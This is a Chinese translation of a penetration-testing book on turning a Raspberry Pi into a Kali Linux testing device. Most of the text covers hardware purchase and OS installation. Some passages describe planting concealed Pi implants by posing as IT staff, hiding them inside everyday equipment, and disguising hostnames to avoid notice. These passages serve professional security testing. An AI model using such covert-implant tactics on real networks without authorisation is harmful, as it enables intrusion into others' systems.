树莓派渗透测试实战

978-7-115-44907-8
作者: 【美】Joseph Muniz(约瑟夫 穆尼斯) Aamir Lakhani(阿米尔 拉克哈尼)
译者: 朱筱丹
编辑: 傅道坤

图书目录:

详情

本书讲解了使用树莓派进行渗透测试的方法,其重要内容有在树莓派上安装Kali Linux渗透平台;使用树莓派破解扫描网络、破解无线网络、捕获敏感数据;执行中间人攻击;使用各种漏洞和工具攻击系统;绕过安全防御并移除目标网络上的数据;咖啡用于管理远程树莓派的命令和控制系统;将树莓派改造为一个蜜罐来获取敏感信息等内容。本书适合信息安全从业人员阅读。

图书摘要

版权信息

书名:树莓派渗透测试实战

ISBN:978-7-115-44907-8

本书由人民邮电出版社发行数字版。版权所有,侵权必究。

您购买的人民邮电出版社电子书仅供您个人使用,未经授权,不得以任何方式复制和传播本书内容。

我们愿意相信读者具有这样的良知和觉悟,与我们共同保护知识产权。

如果购买者有侵权行为,我们可能对该用户实施包括但不限于关闭该帐号等维权措施,并可能追究法律责任。

• 著    [美] Joseph Muniz Aamir Lakhani

  译    朱筱丹

  责任编辑 傅道坤

• 人民邮电出版社出版发行  北京市丰台区成寿寺路11号

  邮编 100164  电子邮件 315@ptpress.com.cn

  网址 http://www.ptpress.com.cn

• 读者服务热线:(010)81055410

  反盗版热线:(010)81055315


Copyright © Packt Publishing 2015. First published in the English language under the title Penetration Testing with Raspberry Pi.

All Rights Reserved.

本书由英国Packt Publishing公司授权人民邮电出版社出版。未经出版者书面许可,对本书的任何部分不得以任何方式或任何手段复制和传播。

版权所有,侵权必究。


本书讲解了使用便携廉价的树莓派搭配Kali Linux进行渗透测试的方法。

本书分为6章,介绍了树莓派和Kali Linux的基础知识、适用于树莓派的Kali Linux ARM版本的基本知识和环境优化、渗透测试相关的知识、树莓派的各种攻击手段、渗透测试后的工作,以及与树莓派相关的其他项目。

本书内容组织有序,通过步骤式讲解来凸显实用性和实操性,适合信息安全从业人员阅读。


Aamir Lakhani是一位著名的网络安全架构师、高级策略师兼研究员,负责为重要的商业和联邦企业部门提供IT安全解决方案。Lakhani曾经作为项目负责人,先后为世界500强公司、政府部门、重要的医疗服务提供商、教育机构、金融和媒体公司实施了安全策略。Lakhani曾经设计过以进攻为主的防御措施,并协助多家公司防御由地下安全组织发起的主动攻击。Lakhani被认为是行业领导者,他在网络防御、移动应用威胁、恶意软件、高级持续性威胁(APT)研究、暗安全(Dark Security)等主题领域提供了详细的架构约定(architectural engagements)和项目。Kakhani还是多本图书的作者和特约作者,其中包括Web Penetration Testing with Kali LinuxXenMobile MDM(两者均为Packt Publishing出版)。他还曾作为网络安全专家在美国国家公共广播电台上露面。

Lakhani运营着DrChaos.com博客,该站点被FedTech Magazine评为网络安全技术的一个重要参考来源。他被评为社交媒体上最顶尖的人物之一,在他的技术领域享有盛名。他将继续致力于网络安全、研究和教育领域。

Joseph Muniz是思科公司的一名顾问,同时还是一位安全研究员。他的职业生涯始于软件开发,然后以外包技术人员的身份从事网络管理。Joseph后来进入咨询行业,而且在与许多不同的客户进行会谈时,发现自己对安全行业产生了激情。他曾经设计和实施过许多项目,其客户既有世界500强公司,也有大型的联邦网络。Joseph是多本图书的作者和特约作者,还是许多主流安全会议的发言人。通过访问他的博客www.thesecurityblogger.com 可以看到最新的安全事件、研究和技术。


Bill Van Besien是一位软件工程师,其工作主要集中在航天器飞行软件架构、无人机自主软件,以及和空间任务操作相关的网络安全等领域。在过去几年,他一直从事软件开发,并服务于执行多个NASA太空任务的任务操作团队。他拥有计算机科学的学士和硕士学位,重点关注密码学和计算机安全。Bill在约翰·霍普金斯大学应用物理实验室的航天器软件组工作,同时还在华盛顿哥伦比亚特区的一家太阳能初创公司Nextility任职。读者可通过http://billvb.github.io了解与他的项目相关的信息。

Bob Perciaccante是思科公司的一名安全咨询系统工程师,在信息安全领域浸淫了20多年。他还在网络和系统漏洞评估、企业监控与响应,以及不同行业中的网络访问控制等领域有过从业经验。他当前关注的是能够有效解决动态安全需求的主动网络和系统安全架构。

Antonio Rodríguez在很小的时候就进入信息安全领域,并学习编程、网络和电子相关的知识,后来毕业于计算机工程专业。

他有20多年的从业经验,专门从事注入恶意软件分析、软件逆向分析、机器学习等主题的研究,还主导了多个安全学科相关的学术研究。

他目前供职于西班牙国家网络安全研究所(INCIBE),在CERT团队担任资深IT安全研究员。

读者可以通过http://twitter.com/moebiuz 关注他。

Kumar Sumeet当前在英国伦敦大学霍洛威学院攻读信息安全专业的硕士学位。他的研究兴趣是系统和软件安全、数字取证和安全测试。他在2013年从印度DA-IICT毕业,获得了ICT(信息与通信技术)的学士学位。

在攻读学士学位期间,他还是Nmap项目的一名贡献人,而且在技术协会组织的讲座上担任发言人。2013年大学毕业之后,他在印度的TIFAC-DST公司找了一份兼职工作,职位是网络安全研究助理。与此同时,他也从事信息安全方面的独立研究,发现了Skype和Nimbuzz中的一些漏洞,并且发表了一篇基于应用行为来分类加密流量的论文。

有关他的项目的最新消息,请访问https://krsumeet.com

Marius Voila是一位具有14年经验的Linux系统管理员,在运维领域造诣颇深。他专门从事部署、云计算、负载均衡、规模扩展和性能调优,以及开发灾难恢复最佳实践等领域的工作,比如备份和恢复、防火墙和服务器安全审计。


本书的主要内容是通过综合Kali Linux的强大威力和树莓派便携又廉价的特点,两者强强联手,在不需要大运算量的项目里,构造一套异常灵活的渗透测试平台。我们已经把这套软硬件组合运用于远程渗透和漏洞测试。由于树莓派非常便携,可以方便地在不同位置进行安全测试评估,还可以通过配置,既能远程控制树莓派,又不会留下什么痕迹。此外,树莓派不落痕迹的特点,加上其低功耗的特色,使得在搭配外置USB电源后,能在户外的环境里工作1~2天。对渗透测试人员来说,在树莓派平台上使用Kali Linux实现安全测试的目标,是一种独特又高性价比的选择。

第1章,树莓派和Kali Linux基础知识:如何购买树莓派,安装Kali Linux,最开始怎样登录Kali Linux和一些常见问题的解答。

第2章,树莓派预备步骤:初步介绍Kali Linux ARM版本操作系统,以及如何优化环境,使树莓派适用于本地和远程渗透测试。

第3章,渗透测试:目标是帮助读者理解网络扫描、无线破解、中间人攻击和突破加密通信等技术手段。

第4章,树莓派攻击:介绍利用树莓派上的工具和方法,怎样攻击测试的目标,手段包括攻击工具、社会工程学、钓鱼和恶意蜜罐。

第5章,结束渗透测试的工作:包括如何在报告里整理结果,如何在渗透测试后掩盖痕迹。

第6章,其他树莓派项目:介绍其他渗透测试工具集、防护工具和各种树莓派使用场景[1]

如果希望用树莓派作为安全评估的工具,请参见第1章关于购买树莓派和其他系统组件的详细信息,在后续章节中会用到。Kali Linux和本书提到的其他软件应用都是开源的,可以免费下载。

本书的主题是用最流行的开源渗透工具集Kali Linux,把树莓派变成一套黑客适用的军火库。如果各位读者需要寻找一款价格低、体积小的黑客工具,可以从远程访问,本书的理念就非常适合你。如果作为渗透测试人员,希望削减出差成本,只要把这个低价的节点设备放到目标网络,然后通过本书的方法,就可以大大地节省成本。如果你是渗透测试领域里的新人,希望学习渗透经验又不希望花太多的钱在昂贵的硬件上,本书也会很有帮助。如果你恰好是一位树莓派玩家,但也对黑客技术感兴趣,本书就同时覆盖了这两方面的内容。本书的读者并不需要是有经验的黑客或程序员。当然如果有网络方面的经验会更好;但要学习本书的知识理念,并不强求具备网络知识。

[1] 译者注:此处原文为use case,翻译成“用例”只是原来的约定俗成,并不利于理解。本书有无数的地方出现了use case,译为“使用场景”均比“用例”更易懂,故修改。


Kali Linux的用户包括全球各地的安全专家、黑客们和研究者,是最受欢迎的渗透测试平台之一,主要用于安全和漏洞评估、攻击研究和风险测试。Kali Linux包含众多流行的开源工具,适用于渗透测试的方方面面。Kali Linux的前身是BackTrack 5 R3,然后逐渐进化到一套完整的Linux桌面系统。

树莓派电脑以超低价著称,它使用HDMI(高清晰度多媒体接口,High Definition Multimedia Interface)线与显示器相连,可以外接USB键盘和鼠标。许多计算机专家都记得以前的电脑并不是打开电源就立刻能用的,那时候的电脑往往还得先在机器上折腾一下才能运作。树莓派可以用于学习计算机体系和编程,而价钱却非常便宜。人们已经利用它的便携性和低价,搭建出各种学习设备、远程摄像头、安全系统、地震监测仪和诸多各类项目。

本章讲解了以下内容:

本书中,选择的是树莓派Model B+型号。其他型号也都大同小异,当然,如果型号不同,可能需要自己微调某些配置。

图1-1中展示的就是树莓派B+产品。

图1-1

树莓派B+型号和前代相比,有以下重要改进:

网上有一些现成的树莓派套装,如树莓派完备版套件(Ultimate Kit),在本书写作时,美国亚马逊网站上的价格为79.99美元。套装里包括一个树莓派B+型号主机、外壳、电源适配器和一个Wi-Fi无线网卡。当然也可以只买一个基本的B+主机而不买电源适配器、SD卡等。如果只买主机本身,在www.amazon.com上只需要大概40美金。要完成某些任务,如网络监听,就需要用到第2块网卡了。而树莓派默认只有一个有线网卡。要实现这些目标,就要再花11美金买一个USB接口的有线网卡[1]。而且,大部分的套装也没有包括适用于电脑上SD卡槽的转接套[2]。例如,MacBook Pro电脑上有SD卡接口,但还得配备一个microSD卡的转接套,才能对树莓派的microSD卡进行格式化,这个转接套的价钱大概在10美金左右。对无线渗透测试来说,还需要一个USB无线网卡,大概10美元可以买到。总的来说,大部分树莓派的组件都不算贵,所以整套系统的价格也就在50~100美元。

图1-2显示的是从盒子中取出来的树莓派主板。

图1-2

图1-3所示为在eBay上销售的一款树莓派套装。

图1-3

图1-4所示为一个USB有线网卡。

图1-4

图1-5所示为microSD到SD卡的转接套。

图1-5

图1-6为USB接口的无线网卡。

图1-6

CanaKit Wi-Fi无线网卡体积较小,便携性佳,兼容性强,非常适合树莓派使用。

在本书中,我们会学习将树莓派作为远程渗透测试的探头[3]使用,并使用它的无线功能再连回中心管理系统。在逐渐熟悉了树莓派和Kali Linux,以及其他渗透测试应用后,很可能就会用到上面提到的这些组件。以下是构造一套用于渗透测试的树莓派需要的清单列表:

入门级套装总价大概在60~90美元,具体总价取决于包括哪些组件。


上述清单里没有包括使用HDMI连接的显示器、USB键盘和鼠标,通常在搭建启动映像时会需要用到它们。

树莓派就是一块电路敞开着的芯片板。人们通常都希望能保护这块板子,在放置它的目标位置也最好有个盒子能把它藏起来。树莓派外壳一般是把整个板子放进去,或通过卡楔的方式把板子固定起来。树莓派装好后,板子多半就藏在盒子里了,但输出的接口都会留出来,可以从外部访问到。

下一步是把输入和输出设备如键盘、无线网卡和鼠标等,整合组装在一起。树莓派B+型号有4个USB输出接口。还有一个HDMI输出,可以接到显示器上。在电源方面,树莓派使用的是5V的microUSB电源,可以通过USB Hub、电源适配器或此类设备进行供电。树莓派的核心是装在microSD卡上的软件;所以需要先把Kali Linux的映像文件安装到microSD卡上,再将这块卡插进树莓派里。


某些树莓派的microSD卡上预装了软件。建议在格式化这张microSD卡前,先克隆一下上面的软件,再安装Kali Linux,这样就可以保存一份出厂预装的软件了。克隆microSD的过程会在本章后面的内容里出现。

现在树莓派组装好了,接着先安装Kali Linux。大部分计算机没有microSD接口,但是许多系统如苹果公司的MacBook有SD卡接口。如果连SD接口也没有,可以外接一个USB SD和microSD读卡器,价格也很便宜。我本人使用的MacBook上面有SD接口,再配一个microSD转接器,就可以格式化树莓派的microSD卡了。


所使用的树莓派microSD卡容量至少为8GB,才能比较正常地运行Kali Linux。另外还得确保这张microSD卡是高速卡。建议在大部分项目下使用class 10类型的microSD卡。

图1-7就是一块class 10的金士顿8 GB microSD卡。

图1-7

解决了计算机访问microSD卡的问题后,需要先格式化这张卡。可以从SD协会(SD Association)的网站www.sdcard.org上下载一个免费应用,如图1-8所示。

图1-8

该应用可以格式化microSD卡。下载和使用步骤如下。

1.通过Web浏览器访问https://www.sdcard.org/home/

2.在左边的菜单栏里选择Downloads。

3.然后选择SD Card Formatter 4.0。

4.再根据使用的操作系统选择版本。有Mac和Windows两个版本。

5.最后,选择接受End User License Agreement,下载该软件并安装。

下载完成后,插入SD卡,启动SD Card Formatter应用。确保选择了正确的介质,准备好后,点击Format按钮。程序会擦除SD卡上的所有信息,为安装Kali Linux做好准备。

确保要格式化的是正确的驱动盘,否则可能会误删了其他驱动盘上的内容。


确保在格式化microSD卡前先备份当前映像内容,以免丢失默认软件和其他数据。如何克隆microSD卡在本章也会提到。

图1-9显示的是启动SDFormatter应用时的场景。

图1-9

如果使用的是苹果电脑,点击Finder,在搜索里输入Disk Utility。若此时microSD卡已经插好了,在Disk Utility里就能看到Drive选项下的microSD磁盘。点击microSD卡再选择右边的第2个Tab页面,这个Tab正好在居中的位置,名叫Erase。建议其中的Format选择MS-DOS(FAT)格式。不用给microSD卡起名,就让Name一栏留空。然后,点击Erase按钮格式化这张卡。

图1-10展示了Disk Utility里的界面。

图1-10

现在准备好可以在树莓派上安装Kali Linux了。默认来说,用于树莓派版本的Kali Linux安装包已经为树莓派设备的内存和ARM处理器做过优化。碰到特定的渗透测试目标,树莓派还是令人满意的。但如果加入过多的工具和功能,树莓派设备的性能可能会跟不上,导致在实验室之外的场景会变得难以使用。要想在树莓派上安装完整版的Kali Linux也是可以的,但需要单独安装各个Kali Metapackages软件包,这个已经超出本书范围了。对需要用到完整版Kali Linux的场景,建议还是换个更强劲的系统。

要在树莓派上安装Kali Linux,需要先到Offensive Security的网站上下载树莓派对应的安装映像文件。地址为http://www.offensive-security.com/kali-linux-vmware-arm-image-download/

图1-11显示了可供下载的Kali Linux Custom ARM Images[4]

图1-11


最好在安装前,计算和对比下载的映像文件的SHA1SUM摘要值,以验证没有被篡改。

映像文件下载好之后,就要将它写入microSD卡上。如果使用的是Linux或Mac操作系统,可以使用内置的dd命令行程序。如果使用的是Windows系统,就要使用Win32 DiskImager程序。

Win32 Disk Imager是一套免费工具,用于将raw映像文件写到SD/microSD卡上。如果microSD卡用了图1-5所示的那种USB转接套,这个工具有时候会出问题,已经有人报告过这个现象了。

Win32 Disk Imager程序的下载地址为http://sourceforge.net/projects/win32diskimager/

下载完成后,只要选择映像文件和可移除介质,然后就可以开始写入的过程。整个过程可能需要一点时间。MacBook的系统上大概花了30分钟。

现在可以准备安装之前下载的Kali Linux映像了。先将压缩文件解压到桌面上。可以用类似7-Zip这样的程序解压下载的文档。

图1-12是Win32 Disk Imager程序的界面。

图1-12

如果用的是Mac平台,第一步是确定操作系统读取SD卡的位置。可以在终端输入diskutil list命令以达到这个目的,执行的结果如图1-13所示。

图1-13

在图1-13中可以看到,SD卡被标记为disk1。也看得出来,这张microSD卡上有分区,说明还没有格式化这张卡。此时应该按照本章开头的描述,先格式化这张卡再做后续步骤。

虽然我更喜欢用前面提到的SD Card Formatter程序,但也可以在直接在Mac里通过命令行直接格式化SD卡,步骤如下所示。

1.首先,需要输入diskutil unmountDisk /dev/disk1这条命令,先卸载已在使用的SD卡。

2.然后再输入sudo newfs_msdos -F 16 /dev/disk1命令格式化SD卡(千万要确保输入正确的磁盘名称。如果搞错了后果非常严重)。


强烈建议先用分区工具把microSD卡上的分区都先删掉,再进行格式化。

3.此时需要输入Mac操作系统的系统/管理员密码。


在上述格式化相关命令中,用的是disk1这个名称,因为操作系统自动把SD卡分配为disk1。但操作系统给SD卡分配的可能是另一个编号。确保在执行上述命令时,用的是正确的磁盘编号。

在复制映像文件之前,最好格式化SD卡。但值得说明的是,后面用dd命令时,执行的是从映像文件到SD卡的逐比特复制,所以并非一定要格式化SD卡。但格式化操作可以防止一些其他错误和异常。

现在可以安装之前下载的Kali Linux映像文件了。先将下载的文档解压到桌面。可以使用Mac平台的Unarchiver或Keka来解压文档。

然后确定解压后映像文件名。例如,解压出来的映像文件名为kali-1.0.9- rpi.img。最好再度确认一下系统是否可以访问SD卡。方法是再次输入diskutil list命令。

输入以下命令,把映像文件安装到SD卡上(可能需要再输入一次Mac操作系统/管理员密码):

sudo dd if=~/Desktop/kali-1.0.9-rpi.img of=/dev/disk1

图1-14显示了前面这条写入命令执行后的结果[5]

图1-14

在映像文件写入microSD卡的过程中,命令提示符会处于停顿状态。休息一下就好,因为这个过程是颇需要一点时间的。在我的系统上,花了差不多30分钟才完成。


可以按下Ctrl + T组合键,向正在运行的程序发送SIGINFO命令,以查看dd命令的运行进度。

图1-15显示了映像文件写到microSD卡的过程,此时命令行提示符处于停顿状态的样子[6]

图1-15


如果不加上sudo命令,OS X系统下要用dd命令把映像文件写到microSD卡上时,可能会出现权限不够的提示。如果使用的命令行和上面的略有差异,确保sudo对后面的整个命令都有效,所以建议把sudo后面的命令用括号括起来,以免出现这个错误。

完成映像文件的安装后,只要把microSD卡插入树莓派,打开电源,就可以启动系统了。启动系统可能需要花5分钟。然后输入用户名为root,密码toor,登录Kali系统。如果希望启动到图形界面下,只要在终端输入startx。恭喜!这套运行在树莓派上的Kali系统就装好了。


系统的启动可能需要点时间。树莓派支持图形用户界面(GUI),可以输入startx启动图形界面。但是,建议在树莓派上还是以命令行为主。如果输入了startx命令,可能需要20分钟来加载图形界面,而且用起来非常慢,甚至会没有响应[7]

Kali Linux的树莓派版本映像文件已经为树莓派做过优化。登录时,用户名为root,密码为toor。建议登录后,立刻输入passwd命令修改默认密码。大多数攻击者都知道Kali Linux的默认登录信息,所以最好保护好树莓派免受恶意访问。

图1-16展示了重置默认密码的passwd命令。

图1-16

输入startx命令后,屏幕会短暂地变空白。这是正常的。加载X Windows(GUI)桌面,它会提示是否使用默认工作空间或另开一个空白的工作空间。选择默认工作空间。选择后,桌面会尝试重载或重绘。完全加载可能需要几分钟时间。

图1-17显示的就是输入startx命令时的截图。

图1-17

需要做的首要任务就是升级操作系统和软件包。升级的过程会需要一点时间,在此过程中也会显示当前的进度。然后还需要在X Windows(GUI)环境里再做一次升级。不少用户反映说软件包没有完全升级成功,因为这些用户不是在X Windows环境下执行的升级。在启用apt-get upgrade命令升级前,请先输入startx,登录X Windows环境。

图1-18显示的是输入apt-get update命令的截图。

图1-18

然后输入apt-get upgrade命令,如图1-19所示。

图1-19

在Kali Linux GUI里进行升级的步骤如下。

1.确保先登录X Windows桌面(使用startx命令)。

2.打开终端窗口。

3.输入apt-get update命令。

4.输入apt-get upgrade命令。

5.输入sync命令。

6.输入sync命令。

7.输入reboot命令。

在升级了系统后,要输入sync命令(作为个人习惯,会输入两次)。再输入reboot命令重启系统。在几分钟内,系统重启,再次登录系统。输入startx命令打开Kali Linux GUI。

图1-20为输入sync和reboot命令的情景。

图1-20

需要在X Windows(GUI)环境下执行apt-get update和apt-get upgrade命令来升级系统。如果不这么做,X Windows环境有可能会变得不太稳定。

完成以上步骤后,就可以开始用这套跑在树莓派上的Kali Linux进行渗透练习了。

本书各处也都提到,树莓派是一种低价的运算选择,可以有各种用法。但廉价的系统通常运算能力也有限,所以树莓派在任何类型的渗透测试中,对需要动用大量资源的任务就无能为力了。所以强烈建议只在特定的任务里使用树莓派,而不要把它当成全功能的渗透工具集,因为完整安装的Kali Linux版会比受限的ARM架构的Kali Linux提供多得多的工具。

下面两个截图选择的是同一个类别里的程序做对比,展示了ARM架构版Kali Linux和完整版Kali Linux的程序差异。另外,在Kali Linux ARM里,某些工具在图形界面环境里无法正常工作,或无论是否图形界面环境都不能用。这时候在比树莓派功能更强的系统中安装完整版的Kali Linux工具会更可靠。图1-21展示的是Kali Linux ARM版本中Live Host Identification类别的工具,这类别里只有ncat和nmap。

图1-21

图1-22则是完整安装版本Kali Linux中同样的Live Host Identification类别工具。可以看到图中,这个类别里的工具明显更多。

图1-22

有些使用场景非常适合树莓派的“酷”特征。首先它能在难以亲身前往的位置里提供低成本的远程渗透测试节点。例如,要为远在中国、英国和澳大利亚的分支机构提供渗透测试服务,彼此间带宽也比较受限。使用树莓派就可以不用真的出差到每个地方,只需要向客户收取树莓派的价钱,然后给每个地方寄一个树莓派过去。只要当地有人帮助将树莓派接入网络,就可以执行远程渗透测试了,这样能极大地节省差旅和硬件的开销。大多数情况测试完后,客户只要把树莓派下线,放在一边就行,反正也很便宜。用这个方法,能帮客户节省一大笔钱,而不需要用企业云扫描工具,否则在每个地方都这么做成本可就高多了。

另一个使用场景是偷取普通用户的信任,宣称自己是IT人员或电信公司客户代表来做维护,实体地将树莓派接入目标网络。树莓派主板可以藏在其他正常外观的硬件里,如思科的交换机、Hub等,并把树莓派接到某个网口上去。普通用户不会无端怀疑网络设备,看起来它出现在那里还挺合理的。

在这些使用场景里,主要的卖点都得归功于树莓派的低价,即使丢了一套也不至于破产。另外,在这两个场景里,由于树莓派的体积很小,所以它的便携性极高。因此,树莓派比诸多其他昂贵的远程渗透工具集如PWNIE Express[8](并不是说PWNIE Express的工具就不好或不值得拥有,但它们确实比树莓派贵多了),就显得更适宜了。说到PWNIE Express这家公司,读者也可以在树莓派上运行该公司的轻量版PWNIE Express软件,这会在本书最后做介绍。

常规考虑使用树莓派的出发点,是因为它设计灵活、软件丰富,以及在线社区的支持。有无数的网站专门讨论树莓派各种花样百出的玩法。所以碰到问题时,通常在Google上一找都能发现答案。操作系统也有很多选择,而且几乎用到的软件都是开源的。这使得各种设计需求都可能实现,如开发一套使用者数量众多但价钱适宜的移动教室。

树莓派能做的事情数不胜数。在渗透测试方面,Kali Linux提供了基本上会用到的所有工具。尽管Kali Linux ARM功能有点受限,但可以通过apt-get命令下载缺失的工具,以符合渗透测试练习的要求,当然这工具最好不需要大量的运算。在本书后续内容里会说到如何下载缺失的工具。所以,花上50~100美元买个树莓派,到在线论坛参考下用树莓派可以干啥,将其作用尽情发挥出来吧。

在要格式化树莓派,准备安装Kali Linux前,强烈建议先备份原版的系统软件。大多数树莓派microSD卡上是以NOOBS的形式(New Out of the Box Software的缩写)来安装各种操作系统,可以从中选择安装一种操作系统。如果microSD卡已经被擦除重写了,也可以从这个地方重新下载NOOB软件:http://www.raspberrypi.org/downloads/

克隆SD卡的过程很简单。很多Windows程序,如早先介绍过的Win32 Disk Imager,都可以精确复制一份SD卡映像文件。在Mac平台上,要确认SD卡的名称,可以打开命令行提示然后输入diskutil list命令,如图1-23所示。

图1-23

在图1-23中,可以看出我的microSD卡为/dev/disk1。而各位读者的系统上microSD卡的编号未必和我一样;所以要先确认microSD卡的磁盘名称。要克隆这张卡,并把磁盘映像文件保存到桌面上,需要输入以下命令:

sudo dd if=/dev/disk1 of=~/Desktop/raspberrypi.dmg

图1-24展示了输入这条命令后,还需要输入密码才能继续运行这条命令。

图1-24

克隆整个SD卡的过程大概要30分钟。创建映像文件的速度取决于卡的大小和microSD卡的速度、卡上的数据量和电脑的运算能力等。总之,耐心点,慢慢复制吧。


OS X系统下,将映像文件写到microSD卡上时,如果不加sudo命令,可能会无权写入。如果所用的sudo命令有更复杂的形式,可以在后面使用括号,确保sudo包括后续的所有操作,否则可能还是会出现这个问题。

最糟糕的事情莫过于已经按照书上的指引,却还是碰到各种问题。在以往装过的不少树莓派系统中,也碰到一些有趣的问题,当然有时候这些拦路虎还蛮讨厌的。下面这些是碰到过的问题以及建议:希望这些到处碰壁得来经验教训能节省大家宝贵的时间。


网址http://elinux.org/R-Pi_Troubleshooting有大量问题解答资源,可帮助解决问题。

在本章中,我们探讨的内容包括如何购买硬件,如何组装一个树莓派。我们建议了各种硬件组件,如microSD卡和无线网卡,以配合本书后面章节的内容。

在买好需要的硬件后,接着介绍了在树莓派上安装Kali Linux的最佳方式。这包括格式化和升级Kali Linux的详细步骤,以及碰到的常见问题和可能的修复方式。在本章节的最后,读者应该就安装好一套能正常工作的Kali Linux了,软件也已经过升级,树莓派上运行的各种程序也适用于入门的基本设置。

在下一章,会讨论树莓派用作渗透测试平台的优势,还会讨论如何优化树莓派上的Kali Linux应用,以及如何远程控制和管理作为Kali Linux攻击平台的树莓派。

[1] 译者注:原文直译是“以太网卡”,但改成有线网卡普通读者应该更容易理解。

[2] 译者注:这里“转接套”对应的英文是adapter,adapter这个单词指代非常含糊。在有把握的地方,酌情改成容易理解的称呼。

[3] 译者注:这里的原文是agent,和前面的adapter一样,较为含糊,酌情叫“探头”。

[4] 译者注:实际上现在Kali Linux树莓派版下载地址为https://www.kali.org/downloads/,如为树莓派2 B+或树莓派3,请选择页面上的Kali Linux armhf下载链接。

[5] 译者注:这个截图明显换了在另一位作者的机器上操作,编号和机器名都变了!而且图中SD卡的编号变成了/dev/disk2,正好印证了前述作者们提到的要多注意SD卡编号的问题。

[6] 译者注:这张图原作者也许放错了!因为屏幕上显示的已是树莓派启动时的画面。

[7] 译者注:作者写作本书的时候还是树莓派1,等本书出版的时候,主流型号应该是树莓派3,图形界面已不是问题。

[8] 译者注:PWNIE Express公司推出了若干款基于平板电脑和手机的渗透和安全评估产品。


在用于安全评估时,树莓派的运算能力有限。因为它的设计初衷仅是1台低功耗的便携计算机,目标人群是教育界和计算机爱好者们。这个开放平台的运算能力虽然有限,但它也有很多强大的使用场景,比如安全专业人士可以将它用于渗透测试和其他服务。本章的重点是使用Kali Linux(或其他操作系统)的树莓派,还需要再做哪些步骤,才能开始实施渗透测试。

本章讲解了以下内容:

安全专家们常常会使用树莓派来收集分散在各地机构里诸多远程站点的信息。

在异常分散的机构里,常用树莓派来收集远程机器的信息。当然在这种情况下很多人也会使用专门的商业工具做漏洞评估;然而如果预算有限或出于厂商的合作要求,就没法采取这种方式了。比如本书作者参与过的一个安全评估项目,就涵盖全球各地的办公场所。这个项目里,出差到每个场地去做本地渗透测试颇不现实。为解决这个问题,我们将配置好Kali Linux的树莓派发到各地办公室,远程评估和测试各地网络的安全性,开销就可接受多了。在本章最后会再举例详加说明。

树莓派另一个有价值的地方是安全专家有时需要将设备长时间地留在现场。在上一个例子里,给每个办公地点寄一套昂贵的高端设备显然性价比就很低了。比起其他更大型更强劲的系统,树莓派由于外型娇小,作为移动设备所需供电也较有限,偷偷潜藏起来也更有优势。比如,将树莓派藏在一个打印机的电源变压器里[1],人们一般认不出这是什么,也不会刻意去破坏一个搞不清楚用途的小黑盒子,对比看如果换成在公司某处不显眼的位置摆上一台手提电脑会怎样。在黑盒测试里,如果有机会把树莓派藏在公司的某些设备如挂钟、灯具和打印机里会非常管用。在本章中,讨论如何从中心化的管理节点出发,通过一个到多个树莓派渗透进远程网络,使这个概念更有效可行。

图2-1为藏在喵星人造型挂钟里的树莓派。

图2-1

如之前所说,树莓派不是一台强劲的机器。要克服这个弱点,在使用树莓派版Kali时,捕获数据的方式最好是可控的,并且尽量以离线的方式处理运算任务。如果不这样,很多攻击工具都会使树莓派的处理器忙不胜忙,又或在查看捕获的数据时,把有限的本地存储空间都给占满了。这个内容在3.6节会详细介绍。

如果需要远程访问多个树莓派系统,建议设置一台中心C&C主控服务器(Command & Control)而不是独立地去访问各个小盒子。C&C服务器应该是一台更高效的系统如传统服务器,由它专注处理需要大量CPU运算的任务,如通过暴力枚举破解密码。更重要的是,可以使用C&C服务器直接执行分析和攻击任务,而不需要全在树莓派本地执行。例如,网络钓鱼攻击,可以将树莓派上的流量都转发给C&C服务器,由它进行分析和漏洞破解。

在第1章中讲过,Kali Linux的ARM映像文件已经为树莓派做过优化,但仍然建议额外地执行以下步骤,以确保在最稳定的状态下使用Kali Linux,尽量不要把树莓派搞垮。步骤如下。

1.建议首先按照第1章里描述的步骤,升级操作系统。如果还从未升级过系统,请翻回第1章,按步骤执行升级,这里就不再重复具体的步骤了。

2.下一步是正确命名树莓派。Kali Linux映像里的主机名是一个默认的通用名称。要修改这个主机名,可以使用vi编辑器(当然随意选择一种编辑器也没关系;即使读者爱用nano,我也完全不会鄙视你的),执行vi /etc/hostname命令,如图2-2所示。

图2-2

这个文件里唯一的内容就是主机名。图2-3是我的例子,正把原来的主机名Kali改为RaspberryPi。

图2-3

3.另外,还要修改/etc/hosts文件里的主机名列表,也可以使用vi编辑器完成。需要正确设置在这个列表文件里的主机名。图2-4所示为我正把默认的主机名从Kali改为RaspberryPi。

图2-4

4.编辑文件后要执行保存。保存文件后,再重启系统。你会发现主机名改变了,显示在命令行提示符处的已是新的主机名。


起个看起来很平淡的主机名,如“HP Jetdirect”,能更容易地混入网络中,对黑盒测试环境来说是一大好处。

树莓派可以通过超频提高性能。这么做的风险是有可能大大地缩减硬件的寿命。超频会导致树莓派消耗更多的电源,所以如果电源输出较弱,超频可能会有问题。在树莓派上超频可能会导致microSD卡损坏和操作系统故障。


除非能接受系统永久性受损的后果,否则不要超频。

要给树莓派超频,可以使用raspi-config程序来进行高级硬件调整。可惜的是,Kali Linux映像里默认并没有包含这个应用,需要做一些额外的设置。但也不用太担心,这些步骤很容易。具体如下。

1.在树莓派命令行下,输入下述命令:

wget http://www.drchaos.com/wp-content/uploads/2014/09/raspberry_pi_ overclock_ files.zip


也可以使用官方链接下载所需的文件:

图2-5显示了执行这条下载命令时的状态。

图2-5

2.使用unzip命令把文件解压出来,如图2-6所示。

图2-6

3.然后进入解压出来的目录,会看到如图2-7所示的若干文件。

图2-7

4.在终端窗口输入如下命令[3]

dpkg -i triggerhappy_0.3.4-2_armel.deb
dpkg -i lua5.1_5.1.5-4_armel.deb
dpkg -i raspi-config_20121028_all.deb

安装以上文件后,就可以启用raspi-config程序了。这个应用可以控制树莓派的某些硬件特性。但早前也警告过,除非明确了解所改配置的具体含义,否则不要乱改默认值。

通常,树莓派Model B+ 运行在1000MHz上没什么问题。但个体差异会导致性能也会不同,所以超频仍有可能给树莓派带来永久性的损害。同时超频也会使原本的保修条款无效。

图2-8展示了raspi-config命令的菜单项。

图2-8

设定的参数如下[4]

修改了硬件设置后,可以从命令行输入dmesg命令,观察是否有报错日志。曾有很多人把GPU速率设置为500 MHz都没问题;但我的树莓派这么设置并运行了几天后,就看到系统里不断地报错,只好把速率再降回400 MHz,就完全没问题了。

为树莓派准备的Wi-Fi无线网卡不但要适合树莓派,还得在Kali Linux下也能正常工作才行。幸运的是,绝大多数的Wi-Fi无线网卡都可以同时在树莓派和Kali Linux下使用。在本书中,使用的是CanaKit USB Wi-Fi网卡,如图2-9所示。

图2-9

